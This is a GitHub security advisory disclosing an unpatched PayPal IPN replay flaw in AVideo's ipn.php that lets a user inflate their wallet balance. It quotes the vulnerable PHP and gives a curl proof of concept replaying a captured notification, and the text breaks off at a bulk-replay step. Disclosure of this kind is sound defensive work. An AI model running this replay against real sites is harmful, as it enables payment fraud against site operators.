GitHub Security Advisory: GHSA-mmw7-wq3c-wf9p
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php

Details:
## Summary

The PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans.

## Details

When a recurring payment IPN arrives at `ipn.php`, the handler:

1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is **stateless** — PayPal returns `VERIFIED` for the same authentic data on every submission.

2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53):

```php
// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
    $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
    Subscription::renew($users_id, $row['subscriptions_plans_id']);
    $obj->error = false;
}
```

No `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind.

Compare with the patched handlers:
- **`ipnV2.php`** (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"])`, with `PayPalYPT_log` entries saved on success.
- **`webhook.php`** (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success.

The v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308:
```php
$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";
```

## PoC

```bash
# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.

# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow

# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.

# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'

# Bulk replay (100x = 100x the subscription